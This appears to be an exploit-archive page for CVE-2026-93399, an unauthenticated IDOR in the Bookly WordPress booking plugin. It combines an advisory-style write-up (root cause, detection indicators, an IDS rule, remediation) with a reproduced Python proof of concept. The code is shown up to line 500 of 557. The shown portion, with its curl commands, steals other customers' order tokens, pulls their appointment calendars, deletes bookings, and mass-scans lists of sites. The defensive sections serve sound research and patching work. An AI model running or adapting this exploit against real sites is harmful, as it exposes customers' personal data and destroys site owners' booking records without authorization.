PoC Archive PoC Archive
CVE-2026-93399 category: web CVSS 9.1 (CRITICAL)
Unverified

Bookly <= 28.2 — Unauthenticated IDOR in Public Booking AJAX (Order Token Disclosure & Booking Deletion) (CVE-2026-93399)

Published: 2026-11-25 • Researcher: murrez (PoC repository owner); Wordfence Threat Intelligence (CNA and advisory)

Target software Bookly — Responsive Appointment Booking Tool for WordPress (bookly-responsive-appointment-booking-tool)
Affected versions All versions up to and including 28.2 (per the NVD description; NVD configurations/product ranges are empty and the CNA references fix changeset r3707284, so treat the first fixed release as later than 28.2 — verify the readme stable tag on the target. The plugin's current version at ingestion was 28.9.)
Status PoC
Severity Critical · CVSS 9.1
CVSS 9.1/10
Severity
Critical
CVE
CVE-2026-93399
Category
web
Affected product
Bookly — Responsive Appointment Booking Tool for WordPress (bookly-responsive-appointment-booking-tool)
Affected versions
All versions up to and including 28.2 (per the NVD description; NVD configurations/product ranges are empty and the CNA references fix changeset r3707284, so treat the first fixed release as later than 28.2 — verify the readme stable tag on the target. The plugin's current version at ingestion was 28.9.)
Disclosed
2026-11-25
Patch status
Unverified
On this page

Metadata

FieldValue
Date Added2026-11-25
Last Updated2026-09-25
Author / Researchermurrez (PoC repository owner); Wordfence Threat Intelligence (CNA and advisory)
CVE / AdvisoryCVE-2026-93399
Categoryweb
SeverityCritical
CVSS Score9.1 (CVSS 3.1, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H, Wordfence CNA via NVD)
StatusPoC
TagsWordPress, Bookly, IDOR, CWE-639, unauthenticated, admin-ajax, order-token, booking, data-disclosure, destructive
RelatedN/A

Affected Target

FieldValue
Software / SystemBookly — Responsive Appointment Booking Tool for WordPress (bookly-responsive-appointment-booking-tool)
Versions AffectedAll versions up to and including 28.2 (per the NVD description; NVD configurations/product ranges are empty and the CNA references fix changeset r3707284, so treat the first fixed release as later than 28.2 — verify the readme stable tag on the target. The plugin’s current version at ingestion was 28.9.)
Language / PlatformPHP (WordPress plugin); the published PoC client is Python 3 with requests
Authentication RequiredNo (unauthenticated public booking AJAX actions; only knowledge of valid sequential order IDs is needed)
Network Access RequiredYes

Summary

Bookly is a WordPress appointment-booking plugin that exposes public, unauthenticated AJAX actions for its front-end booking form. In versions up to and including 28.2 the get-form-id handler copies an attacker-supplied order identifier from the submitted form data into a new booking session, and the render-complete handler later trusts that session value to look up an order and return its secret order token without checking that the session actually created the order. Because order identifiers are sequential, an unauthenticated attacker can walk them, disclose other customers’ order tokens, pull appointment and calendar details through the add-to-calendar action, and permanently delete non-completed bookings through the rollback action, which cascade-deletes the customer appointment and, when no other customer is attached, the underlying appointment. Wordfence scored the issue 9.1 Critical; the public PoC automates target fingerprinting and the full token-disclosure, calendar-retrieval and rollback chain.

Vulnerability Details

Root Cause

The public booking AJAX surface binds an order to a visitor session instead of to a verified capability. bookly_get_form_id accepts form_data from the request and blindly persists the client-supplied order_id into the new UserBookingData session (the NVD-referenced lib/UserBookingData.php#L360 path and the frontend/modules/booking/Ajax.php#L46 handler). The session is then treated as proof of ownership: bookly_render_complete (frontend/modules/booking/Ajax.php#L1111) reads the order ID from that session, loads the corresponding Order record and returns its secret bookly_order token without comparing it against orders the current session created. The token is in turn the only credential consumed by bookly_add_to_calendar (frontend/modules/booking/Ajax.php#L733) and bookly_rollback_order, plus the payment gateway return path (frontend/modules/payment/Ajax.php#L74, lib/base/Gateway.php#L301), so one missing ownership check widens into disclosure and destructive cancellation. NVD classifies the issue as CWE-639 (authorization bypass through user-controlled key).

Attack Vector

An unauthenticated attacker sends HTTP POSTs to /wp-admin/admin-ajax.php on a site where the plugin is active:

  1. action=bookly_get_form_id with form_data[order_id]=<N> (and a minimal form_data[data][email], empty chain/cart) — Bookly stores the attacker-chosen order ID in a fresh booking session and returns a form_id.
  2. action=bookly_render_complete with that form_id — the response carries the bookly_order secret token for order N.
  3. action=bookly_add_to_calendar&bookly_order=<token>&calendar=ics — returns a calendar file (and redirects) containing the appointment, service, staff and timing details.
  4. action=bookly_rollback_order with the form_id and bookly_order token — cancels/deletes the non-completed booking and cascade-deletes its customer_appointment rows and, where no other customer is attached, the appointment itself.

Because IDs are sequential, steps 1–2 can be looped over a range to harvest tokens; the PoC’s check mode scans --order-start/--order-end ranges and supports a target list with threads.

Impact

Disclosure of other customers’ order tokens and appointment/calendar information (service, staff, date and time, customer-facing details), and permanent deletion of arbitrary non-completed bookings. Deleting appointments can remove customers from staff calendars, corrupt booking records and deny service to the site owner; the disclosed order token also unlocks the payment/return flows keyed on it. The CNA vector records confidentiality impact as none while describing token and calendar disclosure, which is an inconsistency worth noting when triaging severity; integrity and availability are both high, hence 9.1.

Environment / Lab Setup

Output
OS:          Linux (bare metal or Docker); any host able to run WordPress
Target:      WordPress 6.x with Bookly <= 28.2 active, at least one service,
             staff member and published booking form, plus one or more
             non-completed bookings (orders) to enumerate
Attacker:    Python 3.8+ with requests and urllib3
Tools:       curl, browser developer tools, Python 3

Setup Steps

Shell script
1
2
3
4
5
6
7
8
wp plugin install bookly-responsive-appointment-booking-tool --version=28.2 --activate

python3 -m venv .venv && . .venv/bin/activate
pip install -r requirements.txt

python3 poc.py -u http://target --mode check

python3 poc.py -u http://target --mode check --order-id 15

Proof of Concept

Step-by-Step Reproduction

  1. Confirm the plugin and version — check mode fetches /wp-content/plugins/bookly-responsive-appointment-booking-tool/readme.txt (fallback /main.php) and compares the Stable tag/Version against 28.2.

    Shell script
    1
    
    python3 poc.py -u http://target --mode check
  2. Bind an attacker-chosen order to a fresh session — POST action=bookly_get_form_id with form_data[order_id]=15 and a minimal form blob; Bookly returns a form_id for a new booking session that references order 15.

    Shell script
    1
    2
    3
    4
    
    curl -s -X POST http://target/wp-admin/admin-ajax.php \
      -d 'action=bookly_get_form_id' \
      -d 'form_data[data][email]=pocbit-probe@invalid.example' \
      -d 'form_data[order_id]=15' -d 'form_data[chain]=[]' -d 'form_data[cart]=[]'
  3. Harvest the secret token — POST action=bookly_render_complete&form_id=<form_id>; the JSON response contains bookly_order, the order token the current session never legitimately owned.

  4. Pull appointment data — GET action=bookly_add_to_calendar&bookly_order=<token>&calendar=ics; an ICS body or calendar content type confirms the token is accepted for calendar export.

  5. Destructive check (optional, authorized labs only) — POST action=bookly_rollback_order with the form_id and bookly_order token to delete the non-completed booking. The PoC refuses to do this unless --confirm-delete is passed.

    Shell script
    1
    
    python3 poc.py -u http://target --mode exploit --order-id 15 --rollback --confirm-delete
  6. Range or mass enumeration — check mode walks sequential IDs and, with --list targets.txt -j 10, applies the same token probe across many sites.

Exploit Code

See poc.py in this folder (upstream file, authorized-research header added for archiving). The chain is implemented by flatten_form_data(), bookly_get_form_id(), bookly_render_complete(), steal_order_token(), bookly_add_to_calendar() and bookly_rollback_order(); CLI wiring and version/plugin discovery live in check_target() and exploit_target().

The essential two-step IDOR, as implemented upstream:

Python
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
requests.post(AJAX, data={
    "action": "bookly_get_form_id",
    "form_data[data][email]": "pocbit-probe@invalid.example",
    "form_data[order_id]": str(order_id),
    "form_data[chain]": "[]",
    "form_data[cart]": "[]",
})

r = requests.post(AJAX, data={"action": "bookly_render_complete", "form_id": form_id})
token = r.json().get("bookly_order")     # token for someone else's order

Expected Output

Illustrative shape of the tool’s JSON output (the PoC was not executed during ingestion):

JSON
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
{
  "target": "http://target",
  "plugin": true,
  "version_str": "28.2",
  "vulnerable": true,
  "status": "token_disclosure_confirmed",
  "token_probe": [
    {"order_id": 15, "bookly_order": "<token>", "form_id": "<form_id>"}
  ],
  "pocbit": "https://pocbit.org"
}

In exploit mode a success row additionally carries "exploited": true, the leaked bookly_order, an optional calendar object with "ics_like": true, and, when --rollback --confirm-delete is used, "rollback": {"rollback_ok": true} with "destructive": true.

Detection & Indicators of Compromise

  • POSTs to /wp-admin/admin-ajax.php with action=bookly_get_form_id and a form_data[order_id] value supplied directly by the client, followed immediately by action=bookly_render_complete with the returned form_id.
  • Sequential or rapidly incrementing form_data[order_id] values from one source IP or session (range enumeration), especially without any preceding GET of the booking page.
  • GET requests to admin-ajax.php with action=bookly_add_to_calendar and a bookly_order token whose session never booked that order, or repeated ICS downloads.
  • POSTs with action=bookly_rollback_order for orders not created by the requesting session; correlated loss of non-completed bookings or customer_appointment/appointment records.
  • Reconnaissance GETs for /wp-content/plugins/bookly-responsive-appointment-booking-tool/readme.txt or /main.php (version fingerprinting).
  • Tool artifacts on the operator side: cve_2026_93399_results.jsonl and hits.txt; default User-Agent ... Chrome/131.0.0.0 Safari/537.36 PoCbit (+https://pocbit.org).
Output
1
2
3
4
203.0.113.9 - - [25/Nov/2026:12:34:56 +0000] "POST /wp-admin/admin-ajax.php HTTP/1.1" 200 512 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) ... Chrome/131.0.0.0 Safari/537.36 PoCbit (+https://pocbit.org)"
  body: action=bookly_get_form_id&form_data[data][email]=pocbit-probe@invalid.example&form_data[order_id]=15&form_data[chain]=[]&form_data[cart]=[]
203.0.113.9 - - [25/Nov/2026:12:34:57 +0000] "POST /wp-admin/admin-ajax.php HTTP/1.1" 200 842 "-" "Mozilla/5.0 ... PoCbit (+https://pocbit.org)"
  body: action=bookly_render_complete&form_id=<form_id>

SIEM / IDS rule (example):

Output
1
2
3
alert http any any -> any any (msg:"CVE-2026-93399 Bookly order_id IDOR probe"; \
  content:"bookly_get_form_id"; http_client_body; \
  content:"form_data%5Border_id%5D"; http_client_body; sid:9009339;)

Remediation

ActionDetail
PatchUpdate bookly-responsive-appointment-booking-tool to a release later than 28.2 (the CNA references fix changeset r3707284; the plugin’s current version at ingestion was 28.9). Verify the changelog/readme stable tag after updating, and update the bundled Bookly Pro add-on if installed.
WorkaroundIf the plugin cannot be updated immediately, unpublish public booking forms (removing the shortcode removes the reachable AJAX flow for most sites) or block unauthenticated bookly_rollback_order and bookly_render_complete requests at the WAF/reverse proxy; take a database backup before enabling any rollback path.
Config HardeningEnforce server-side ownership checks (bind order IDs to a session/capability token created at booking time), rate-limit public booking AJAX actions, keep WordPress core, themes and plugins patched, monitor admin-ajax booking traffic, and restrict or alert on calendar/rollback usage per source.

References

Notes

Auto-ingested from https://github.com/murrez/CVE-2026-93399 on 2026-11-25.

Review verdict: this is a genuine exploit PoC, not a detector-only repository. The check mode does version fingerprinting and range probing, but the same tool implements the actual vulnerable chain end to end — it injects the attacker-chosen form_data[order_id] into a new booking session, calls bookly_render_complete to receive the secret bookly_order token, optionally fetches the ICS via bookly_add_to_calendar, and can call bookly_rollback_order to delete the booking. It was therefore ingested. The PoC was not executed during ingestion (no target was contacted and the destructive path was not run).

Status is PoC rather than Weaponized: the chain is functional and directly exercises the vulnerability, but the repository ships no lab, no captured output and no verified run; the deletion step is deliberately gated behind --confirm-delete, and the tool needs a live site running Bookly at or below 28.2 with at least one existing order.

License: MIT (LICENSE file, “Copyright (c) 2026 yoyo”, the PoCbit author; the GitHub repository owner is murrez). The archived poc.py carries an added authorized-research header; upstream attribution is preserved.

Limitations: the tool must first find a form_id from bookly_get_form_id before bookly_render_complete will return anything, so some target-specific form fields may be required beyond the minimal blob the PoC sends; only orders that exist and are not yet completed are useful targets, and rollback is permanent (cascade deletes customer_appointment, and the appointment when no other customer is attached). Version detection relies on readme.txt/main.php and can be blocked or spoofed, and an undetectable plugin version is treated as potentially vulnerable. The NVD record has no product/version range and no CVSS vector beyond the Wordfence secondary score, and it records confidentiality impact as none although the description covers token and calendar disclosure — treat the 9.1 score as the CNA’s. The repository also provides mass checking over a target list with threads; that mode is scanner-like and must only be used against systems you own or have written authorization to test. The listed WordPress Trac URLs were referenced by the CNA; the Trac site served a JavaScript challenge during ingestion, so their content was not independently re-read.

poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Archived for authorized security research only.
# Source: https://github.com/murrez/CVE-2026-93399 (see README for attribution/license)
"""
CVE-2026-93399 — Bookly <= 28.2 IDOR via bookly_get_form_id + bookly_render_complete
Unauthenticated order token disclosure and booking rollback (CWE-639).

PoC page: https://pocbit.org/pocs/cve-2026-93399
"""

from __future__ import annotations

CVE_ID = "CVE-2026-93399"
POC_TITLE = "Bookly booking form IDOR (order token / rollback)"

POCBIT_HOME = "https://pocbit.org"
POCBIT_CATALOG = f"{POCBIT_HOME}/pocs/"
POCBIT_PAGE = f"{POCBIT_HOME}/pocs/{CVE_ID.lower()}"

import argparse
import json
import re
import sys
import threading
import time
from concurrent.futures import FIRST_COMPLETED, ThreadPoolExecutor, wait
from urllib.parse import urljoin, urlparse

try:
    import urllib3
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
except Exception:
    pass

import requests
from requests.adapters import HTTPAdapter

UA = (
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
    "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 "
    f"PoCbit (+{POCBIT_HOME})"
)

PLUGIN_SLUG = "bookly-responsive-appointment-booking-tool"
MAX_VERSION = (28, 2)

print_lock = threading.Lock()


def print_front(quiet=False):
    if quiet:
        return
    log("=" * 54)
    log(f"  PoCbit  {POCBIT_PAGE}")
    log(f"  {CVE_ID}  {POC_TITLE}")
    log("=" * 54)


def _finish_row(row):
    out = dict(row)
    out["pocbit"] = POCBIT_HOME
    out["pocbit_catalog"] = POCBIT_CATALOG
    out["pocbit_page"] = POCBIT_PAGE
    out["cve"] = CVE_ID
    return out


def log(msg):
    with print_lock:
        print(msg, flush=True)


def mk_session(timeout, proxy=None):
    s = requests.Session()
    s.headers.update({"User-Agent": UA, "Accept": "application/json, text/html, */*"})
    adapter = HTTPAdapter(max_retries=0, pool_connections=25, pool_maxsize=25)
    s.mount("http://", adapter)
    s.mount("https://", adapter)
    if proxy:
        s.proxies.update({"http": proxy, "https": proxy})
    s.verify = False
    s.request_timeout = timeout
    return s


def get(s, url, **kw):
    kw.setdefault("timeout", s.request_timeout)
    kw.setdefault("verify", False)
    kw.setdefault("allow_redirects", True)
    return s.get(url, **kw)


def post(s, url, **kw):
    kw.setdefault("timeout", s.request_timeout)
    kw.setdefault("verify", False)
    kw.setdefault("allow_redirects", True)
    return s.post(url, **kw)


def normalize_base(raw):
    raw = (raw or "").strip()
    if not raw or raw.startswith("#"):
        return None
    if "://" not in raw:
        raw = "https://" + raw
    p = urlparse(raw)
    if not p.netloc:
        return None
    scheme = p.scheme if p.scheme in ("http", "https") else "https"
    return "%s://%s" % (scheme, p.netloc)


def ajax_url(base):
    return base.rstrip("/") + "/wp-admin/admin-ajax.php"


def parse_version_tuple(text):
    if not text:
        return None
    for pat in (
        r"Stable tag:\s*([0-9]+(?:\.[0-9]+)*)",
        r"Version:\s*([0-9]+(?:\.[0-9]+)*)",
    ):
        m = re.search(pat, text, re.I)
        if m:
            parts = []
            for x in m.group(1).split("."):
                try:
                    parts.append(int(x))
                except ValueError:
                    break
            if parts:
                return tuple(parts)
    return None


def version_le(a, b):
    if not a:
        return False
    n = max(len(a), len(b))
    av = a + (0,) * (n - len(a))
    bv = b + (0,) * (n - len(b))
    return av <= bv


def version_str(v):
    return ".".join(str(x) for x in v) if v else ""


def detect_plugin(s, base, timeout):
    out = {
        "plugin": False,
        "version": None,
        "version_str": None,
        "vulnerable": False,
        "patched": False,
    }
    root = base.rstrip("/") + "/wp-content/plugins/" + PLUGIN_SLUG
    for path in ("/main.php", "/readme.txt"):
        try:
            r = get(s, root + path, timeout=timeout)
        except requests.RequestException:
            continue
        if r.status_code != 200:
            continue
        body = r.text or ""
        if "bookly" not in body.lower() and "Plugin Name" not in body:
            continue
        out["plugin"] = True
        ver = parse_version_tuple(body)
        if ver:
            out["version"] = ver
            out["version_str"] = version_str(ver)
            out["patched"] = not version_le(ver, MAX_VERSION)
            out["vulnerable"] = version_le(ver, MAX_VERSION)
        break
    if out["plugin"] and not out["version"]:
        out["vulnerable"] = True
    return out


def flatten_form_data(order_id):
    """Minimal session blob: order_id trusted by renderComplete."""
    return {
        "form_data[data][email]": "pocbit-probe@invalid.example",
        "form_data[order_id]": str(int(order_id)),
        "form_data[chain]": "[]",
        "form_data[cart]": "[]",
    }


def bookly_get_form_id(s, base, order_id, timeout, existing_form_id=None):
    url = ajax_url(base)
    data = {"action": "bookly_get_form_id"}
    if existing_form_id:
        data["form_id"] = existing_form_id
    data.update(flatten_form_data(order_id))
    try:
        r = post(s, url, data=data, timeout=timeout)
    except requests.RequestException as e:
        return {"error": str(e)}
    try:
        body = r.json()
    except (ValueError, json.JSONDecodeError):
        return {"status_code": r.status_code, "error": "non_json", "raw": (r.text or "")[:300]}
    return {"status_code": r.status_code, "body": body, "form_id": body.get("form_id")}


def bookly_render_complete(s, base, form_id, timeout):
    url = ajax_url(base)
    data = {
        "action": "bookly_render_complete",
        "form_id": form_id,
    }
    try:
        r = post(s, url, data=data, timeout=timeout)
    except requests.RequestException as e:
        return {"error": str(e)}
    try:
        body = r.json()
    except (ValueError, json.JSONDecodeError):
        return {"status_code": r.status_code, "error": "non_json", "raw": (r.text or "")[:300]}
    token = body.get("bookly_order") if isinstance(body, dict) else None
    return {
        "status_code": r.status_code,
        "body": body,
        "bookly_order": token,
        "success": isinstance(body, dict) and body.get("success"),
    }


def steal_order_token(s, base, order_id, timeout):
    step1 = bookly_get_form_id(s, base, order_id, timeout)
    if step1.get("error") or not step1.get("form_id"):
        return {"order_id": order_id, "error": step1.get("error") or "no_form_id", "steps": {"get_form_id": step1}}
    fid = step1["form_id"]
    step2 = bookly_render_complete(s, base, fid, timeout)
    out = {
        "order_id": order_id,
        "form_id": fid,
        "steps": {"get_form_id": step1, "render_complete": step2},
    }
    if step2.get("bookly_order"):
        out["bookly_order"] = step2["bookly_order"]
        out["token_leaked"] = True
    else:
        out["token_leaked"] = False
        out["error"] = step2.get("error") or "no_token"
    return out


def bookly_add_to_calendar(s, base, token, timeout, calendar="ics"):
    url = ajax_url(base)
    params = {
        "action": "bookly_add_to_calendar",
        "bookly_order": token,
        "calendar": calendar,
    }
    try:
        r = get(s, url, params=params, timeout=timeout)
    except requests.RequestException as e:
        return {"error": str(e)}
    ctype = (r.headers.get("Content-Type") or "").lower()
    preview = (r.text or "")[:400]
    return {
        "status_code": r.status_code,
        "content_type": ctype,
        "ics_like": "calendar" in ctype or preview.startswith("BEGIN:VCALENDAR"),
        "preview": preview,
        "final_url": r.url,
    }


def bookly_rollback_order(s, base, form_id, token, timeout):
    url = ajax_url(base)
    data = {
        "action": "bookly_rollback_order",
        "form_id": form_id,
        "bookly_order": token,
    }
    try:
        r = post(s, url, data=data, timeout=timeout)
    except requests.RequestException as e:
        return {"error": str(e)}
    try:
        body = r.json()
    except (ValueError, json.JSONDecodeError):
        body = {"raw": (r.text or "")[:300]}
    ok = isinstance(body, dict) and body.get("success") is True
    return {"status_code": r.status_code, "body": body, "rollback_ok": ok}


def probe_bookly_ajax(s, base, timeout):
    """Quick signal that Bookly nopriv AJAX responds."""
    url = ajax_url(base)
    try:
        r = post(s, url, data={"action": "bookly_get_form_id"}, timeout=timeout)
    except requests.RequestException as e:
        return {"reachable": False, "error": str(e)}
    try:
        body = r.json()
    except (ValueError, json.JSONDecodeError):
        body = None
    return {
        "reachable": r.status_code == 200,
        "status_code": r.status_code,
        "json": body,
    }


def check_target(base, timeout, proxy, order_id=None, order_start=None, order_end=None):
    base = normalize_base(base)
    row = _finish_row({"target": base, "status": "unknown"})
    if not base:
        row["status"] = "ERR"
        row["error"] = "invalid_url"
        return row

    s = mk_session(timeout, proxy)
    plug = detect_plugin(s, base, timeout)
    row.update(plug)
    row["ajax_url"] = ajax_url(base)

    if not plug["plugin"]:
        row["status"] = "no_plugin"
        return row
    if plug.get("patched"):
        row["status"] = "patched"
        return row

    row["exploitable_candidate"] = True
    row["status"] = "vulnerable_plugin"
    row["ajax_probe"] = probe_bookly_ajax(s, base, timeout)

    ids = []
    if order_id is not None:
        ids = [int(order_id)]
    elif order_start is not None and order_end is not None:
        ids = list(range(int(order_start), int(order_end) + 1))

    if ids:
        leaks = []
        for oid in ids:
            leak = steal_order_token(s, base, oid, timeout)
            if leak.get("token_leaked"):
                leaks.append({
                    "order_id": oid,
                    "bookly_order": leak.get("bookly_order"),
                    "form_id": leak.get("form_id"),
                })
        row["token_probe"] = leaks
        if leaks:
            row["status"] = "token_disclosure_confirmed"
            row["exploitable_candidate"] = True
        elif len(ids) == 1:
            row["status"] = "vulnerable_no_token_for_order"
    return row


def exploit_target(
    base, timeout, proxy, order_id, rollback, calendar, confirm_delete,
):
    base = normalize_base(base)
    row = _finish_row({"target": base, "mode": "exploit"})
    if not base:
        row["error"] = "invalid_url"
        return row
    if order_id is None:
        row["error"] = "need --order-id"
        return row

    s = mk_session(timeout, proxy)
    plug = detect_plugin(s, base, timeout)
    row.update(plug)
    if plug.get("patched"):
        row["error"] = "patched"
        return row
    if not plug.get("plugin"):
        row["error"] = "no_plugin"
        return row

    leak = steal_order_token(s, base, int(order_id), timeout)
    row["chain"] = leak
    if not leak.get("token_leaked"):
        row["error"] = leak.get("error") or "token_not_leaked"
        return row

    token = leak["bookly_order"]
    fid = leak["form_id"]
    row["bookly_order"] = token
    row["exploited"] = True

    if calendar:
        row["calendar"] = bookly_add_to_calendar(s, base, token, timeout)

    if rollback:
        if not confirm_delete:
            row["rollback_skipped"] = True
            row["rollback_note"] = "Pass --confirm-delete to run bookly_rollback_order (destroys booking)"
        else:
            row["rollback"] = bookly_rollback_order(s, base, fid, token, timeout)
            row["destructive"] = True

    return row


def load_targets(path):
    items = []
    seen = set()
    with open(path, "r", encoding="utf-8", errors="replace") as f:
        for line in f:
            line = line.strip()
            if not line or line.startswith("#"):
                continue
            base = normalize_base(line.split("|", 1)[0])
            if base and base not in seen:
                seen.add(base)
                items.append(base)
    return items


def run_mass(args):
    targets = load_targets(args.list)
    stats = {"done": 0, "hits": 0, "err": 0, "total": len(targets)}
    start = time.time()
    out_f = open(args.output, "w", encoding="utf-8")
    hit_f = open(args.vuln_list, "w", encoding="utf-8")

    def worker(t):
        return check_target(
            t, args.timeout, args.proxy,
            args.order_id, args.order_start, args.order_end,
        )

    window = max(4, args.threads * 2)
    with ThreadPoolExecutor(max_workers=args.threads) as ex:
        futures = {}
        gen = iter(targets)
        try:
            while True:
                while len(futures) < window:
                    try:
                        futures[ex.submit(worker, next(gen))] = True
                    except StopIteration:
                        break
                if not futures:
                    break
                done_set, _ = wait(futures, return_when=FIRST_COMPLETED)
                for fut in done_set:
                    futures.pop(fut)
                    try:
                        row = fut.result()
                    except Exception as e:
                        stats["err"] += 1
                        if not args.quiet:
                            log("[ERR] %s" % e)
                        continue
                    stats["done"] += 1
                    out_f.write(json.dumps(row, ensure_ascii=True, default=str) + "\n")
                    out_f.flush()
                    if row.get("exploitable_candidate"):
                        if row.get("token_probe"):
                            stats["hits"] += 1
                            hit_f.write(row.get("target", "") + "\n")
                            hit_f.flush()
                        if not args.quiet:
                            log("[+] %s | %s | v=%s | leaks=%d" % (
                                row.get("target"),
                                row.get("status"),
                                row.get("version_str"),
                                len(row.get("token_probe") or []),
                            ))
        except KeyboardInterrupt:
            log("[!] interrupted")

    out_f.close()
    hit_f.close()
    log("[*] done %.0fs | %d/%d | hits=%d" % (
        time.time() - start, stats["done"], stats["total"], stats["hits"],
    ))


def main():
    p = argparse.ArgumentParser(
        description="%s — %s | %s" % (CVE_ID, POC_TITLE, POCBIT_PAGE),
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog=(
            "PoC page: %s\n\n"
            "Examples:\n"
            "  python poc.py -u https://site.example --mode check\n"
            "  python poc.py -u https://site.example --mode check --order-id 42\n"
            "  python poc.py -u https://site.example --mode check --order-start 1 --order-end 20\n"
            "  python poc.py -u https://site.example --mode exploit --order-id 42 --calendar\n"
            "  python poc.py -u https://site.example --mode exploit --order-id 42 --rollback --confirm-delete\n"
        ) % POCBIT_PAGE,
    )
    p.add_argument("-u", "--url", help="WordPress base URL")
    p.add_argument("--list", help="targets file (one URL per line)")
    p.add_argument("--mode", choices=["check", "exploit"], default="check")
Showing 500 of 557 lines View full file on GitHub →